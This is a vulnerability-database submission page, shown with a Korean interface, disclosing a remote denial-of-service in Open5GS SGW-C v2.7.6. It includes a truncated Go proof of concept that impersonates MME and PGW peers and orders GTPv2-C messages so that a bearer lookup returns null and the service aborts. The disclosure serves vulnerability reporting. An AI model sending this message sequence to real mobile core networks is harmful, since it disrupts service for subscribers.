제출 #738373: Open5GS SGWC v2.7.6 Denial of Service정보

제목Open5GS SGWC v2.7.6 Denial of Service
설명### Description SGW-C can be forced to **abort (SIGABRT / core dumped)** by triggering the **UpdateBearerResponse** handling path associated with a **Bearer Resource Command** transaction (i.e., when `s11_xact->xid & OGS_GTP_CMD_XACT_ID` is set). In this CMD flow, the bearer identifier used for lookup is derived from the S5-C transaction association (`s5c_xact->data`). If the session/bearer is removed (e.g., via **DeleteSessionRequest/Response**) while the Bearer Resource Command/Update Bearer procedure is still in flight, the subsequent **UpdateBearerResponse** can cause the bearer lookup to return `NULL`. The handler then hits `ogs_assert(bearer)` and crashes SGW-C. This results in a **remote DoS** achievable by controlling message ordering/timing across S11 and S5-C. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // Vuln-PB3-04 PoC: UpdateBearerResponse triggers ogs_assert(bearer) in IF branch // Target: Open5GS SGW-C sgwc_s11_handle_update_bearer_response (line 1064) // Branch: if (s11_xact->xid & OGS_GTP_CMD_XACT_ID) - Bearer Resource Command flow // // Key difference from PB3-07: // - PB3-04: Uses Bearer Resource Command, bearer_id from s5c_xact->data, IF branch // - PB3-07: Uses direct Update Bearer Request, bearer_id from s11_xact->data, ELSE branch // // Attack Flow: // 1) Act as MME: CreateSessionRequest -> SGW-C // 2) Act as PGW: CreateSessionResponse -> SGW-C // 3) Act as MME: BearerResourceCommand -> SGW-C (sets CMD_XACT_ID flag) // 4) Act as PGW: UpdateBearerRequest -> SGW-C (response to BearerResourceCommand) // 5) Act as MME: after receiving UpdateBearerRequest, send DeleteSessionRequest // 6) Act as PGW: DeleteSessionResponse -> SGW-C // 7) Act as MME: UpdateBearerResponse -> SGW-C (bearer lookup in IF branch returns NULL) package main import ( "flag" "fmt" "log" "math/rand" "net" "strings" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) const ( // GTPv2-C Message Types MsgTypeBearerResourceCommand uint8 = 68 MsgTypeBearerResourceFailureIndication uint8 = 69 // IE Types IETypeLinkedEBI uint8 = 73 IETypeProcedureTransactionID uint8 = 100 IETypeTrafficAggregateDescription uint8 = 85 ) type bearerReqInfo struct { seq uint32 ebi uint8 } type s5cInfo struct { sgwTeid uint32 ebi uint8 } func main() { sgwcS11Addr := flag.String("sgwc-s11", "127.0.0.2:2123", "SGW-C S11 address") sgwcS5cAddr := flag.String("sgwc-s5c", "127.0.0.2:2123", "SGW-C S5-C address") mmeAddr := flag.String("mme", "127.0.0.1:2123", "Local MME bind address") pgwAddr := flag.String("pgw", "127.0.0.4:2123", "Local PGW-C bind address") imsi := flag.String("imsi", "001010000000001", "IMSI for CreateSessionRequest") apn := flag.String("apn", "internet", "APN for CreateSessionRequest") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") ebi := flag.Uint("ebi", 5, "Default EPS Bearer ID") paa := flag.String("paa", "10.60.0.10", "PAA for CreateSessionResponse") cleanupDelay := flag.Duration("cleanup-delay", 1500*time.Millisecond, "Delay after DeleteSessionRequest before sending UpdateBearerResponse") waitTimeout := flag.Duration("wait-timeout", 6*time.Second, "Timeout for each wait step") mmeTeid := flag.Uint("mme-teid", 0, "MME S11 TEID to advertise (0=random)") pgwTeid := flag.Uint("pgw-teid", 0, "PGW S5-C TEID to advertise in CSR (0=random)") flag.Parse() rand.Seed(time.Now().UnixNano()) mmeIP, err := hostFromAddr(*mmeAddr) if err != nil { log.Fatalf("parse MME addr: %v", err) } pgwIP, err := hostFromAddr(*pgwAddr) if err != nil { log.Fatalf("parse PGW addr: %v", err) } log.Println("=== Vuln-PB3-04 PoC: Bearer Resource Command -> UpdateBearerResponse (IF branch) ===") log.Printf("SGW-C S11: %s", *sgwcS11Addr) log.Printf("SGW-C S5C: %s", *sgwcS5cAddr) log.Printf("MME: %s", *mmeAddr) log.Printf("PGW: %s", *pgwAddr) log.Println("Target: ogs_assert(bearer) in IF branch (s11_xact->xid & OGS_GTP_CMD_XACT_ID)") mmeConn := listenUDP(*mmeAddr, "MME") defer mmeConn.Close() pgwConn := listenUDP(*pgwAddr, "PGW") defer pgwConn.Close() sgwcS11Raddr, err := net.ResolveUDPAddr("udp", *sgwcS11Addr) if err != nil { log.Fatalf("resolve SGW-C S11 addr: %v", err) } sgwcS5cRaddr, err := net.ResolveUDPAddr("udp", *sgwcS5cAddr) if err != nil { log.Fatalf("resolve SGW-C S5C addr: %v", err) } sgwS11TeidCh := make(chan uint32, 1) updateReqCh := make(chan bearerReqInfo, 1) sgwS5cCh := make(chan s5cInfo, 1) mmeCtrlTeid := randNonZeroUint32(uint32(*mmeTeid)) pgwCtrlTeid := randNonZeroUint32(uint32(*pgwTeid)) go startMMEServer(mmeConn, sgwS11TeidCh, updateReqCh) go startPGWServer(pgwConn, pgwIP, *paa, pgwCtrlTeid, sgwS5cCh, sgwcS5cRaddr, uint8(*ebi)) time.Sleep(500 * time.Millisecond) // Step 1: Create Session log.Println("[1] Send CreateSessionRequest (MME -> SGW-C)") if err := sendCreateSessionRequest(mmeConn, sgwcS11Raddr, *imsi, *apn, *mcc, *mnc, mmeIP, pgwIP, mmeCtrlTeid, pgwCtrlTeid, uint8(*ebi)); err != nil { log.Fatalf("send CSR: %v", err) } sgwS11Teid := waitUint32("SGW S11 TEID", sgwS11TeidCh, *waitTimeout) s5c := waitS5cInfo(sgwS5cCh, *waitTimeout) log.Printf("[2] SGW S11 TEID=0x%x, SGW S5C TEID=0x%x, EBI=%d", sgwS11Teid, s5c.sgwTeid, s5c.ebi) // Step 3: Send Bearer Resource Command (this sets OGS_GTP_CMD_XACT_ID flag) log.Println("[3] Send BearerResourceCommand (MME -> SGW-C) - Sets CMD_XACT_ID flag") if err := sendBearerResourceCommand(mmeConn, sgwcS11Raddr, sgwS11Teid, s5c.ebi); err != nil { log.Fatalf("send BearerResourceCommand: %v", err) } // Wait for PGW to send UpdateBearerRequest (as response to BearerResourceCommand) // and MME to receive it updateReq := waitBearerReq("UpdateBearerRequest", updateReqCh, *waitTimeout) log.Printf("[4] Got UpdateBearerRequest seq=0x%x ebi=%d (CMD flow)", updateReq.seq, updateReq.ebi) // Step 5: Delete Session to remove bearer log.Println("[5] Send DeleteSessionRequest to remove bearer (MME -> SGW-C)") if err := sendDeleteSessionRequest(mmeConn, sgwcS11Raddr, sgwS11Teid, s5c.ebi); err != nil { log.Fatalf("send DeleteSessionRequest: %v", err) } // Wait for delete to complete time.Sleep(*cleanupDelay) // Step 7: Send UpdateBearerResponse - this triggers the vulnerability // The s11_xact has OGS_GTP_CMD_XACT_ID set because it was associated with BearerResourceCommand // The bearer_id is retrieved from s5c_xact->data, which is now stale log.Println("[6] Send UpdateBearerResponse (MME -> SGW-C) - Triggers IF branch crash") if err := sendUpdateBearerResponse(mmeConn, sgwcS11Raddr, sgwS11Teid, updateReq.seq, updateReq.ebi); err != nil { log.Fatalf("send UpdateBearerResponse: %v", err) } log.Println("[*] Sent UpdateBearerResponse with CMD_XACT_ID association.") log.Println("[*] Expected: ogs_assert(bearer) crash in IF branch (s11-handler.c:1064)") time.Sleep(2 * time.Second) } func startMMEServer(conn *net.UDPConn, sgwS11TeidCh chan<- uint32, updateReqCh chan<- bearerReqInfo) { log.Printf("[MME] Listening on %s", conn.LocalAddr()) buf := make([]byte, 4096) for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[MME] read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[MME] parse error: %v", err) continue } switch m := msg.(type) { case *message.CreateSessionResponse: sgwTeid := uint32(0) if m.SenderFTEIDC != nil { if v, err := m.SenderFTEIDC.TEID(); err == nil { sgwTeid = v } } if sgwTeid != 0 { select { case sgwS11TeidCh <- sgwTeid: default: } log.Printf("[MME] CreateSessionResponse from %s, SGW S11 TEID=0x%x", raddr, sgwTeid) } case *message.UpdateBearerRequest: ebi := ebiFromBearerContexts(m.BearerContexts, 5) req := bearerReqInfo{seq: m.Sequence(), ebi: ebi} select { case updateReqCh <- req: default: } log.Printf("[MME] UpdateBearerRequest from %s seq=0x%x ebi=%d (CMD flow)", raddr, req.seq, req.ebi) case *message.DeleteSessionResponse: log.Printf("[MME] DeleteSessionResponse from %s", raddr) case *message.Generic: // Handle Bearer Resource Failure Indication (type 69) if m.Header.Type == MsgTypeBearerResourceFailureIndication { log.Printf("[MME] BearerResourceFailureIndication from %s (expected if PGW not ready)", raddr) } else { log.Printf("[MME] recv Generic(%d) from %s", m.Header.Type, raddr) } default: log.Printf("[MME] recv %s from %s", msg.MessageTypeName(), raddr) } } } func startPGWServer(conn *net.UDPConn, pgwIP, paa string, pgwCtrlTeid uint32, sgwS5cCh chan<- s5cInfo, sgwcS5cRaddr *net.UDPAddr, defaultEbi uint8) { log.Printf("[PGW] Listening on %s", conn.LocalAddr()) pgwUteid := randNonZeroUint32(0) var sgwTeid uint32 var sgwS5cTeid uint32 var brcReceived bool var brcSeq uint32 // Store BRC sequence for UpdateBearerRequest var storedEbi uint8 = defaultEbi buf := make([]byte, 4096) for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { log.Printf("[PGW] read error: %v", err) continue } msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[PGW] parse error: %v", err) continue } switch m := msg.(type) { case *message.CreateSessionRequest: if m.SenderFTEIDC != nil { if v, err := m.SenderFTEIDC.TEID(); err == nil { sgwTeid = v sgwS5cTeid = v } }
원천⚠️ https://github.com/open5gs/open5gs/issues/4269
사용자
 FrankyLin (UID 94345)
제출2026. 01. 14. AM 04:11 (5 개월 ago)
모더레이션2026. 01. 28. PM 02:20 (14 days later)
상태중복
VulDB 항목341595 [Open5GS 까지 2.7.6 GTPv2 Bearer Response 서비스 거부]
포인트들0

Do you know our Splunk app?

Download it now for free!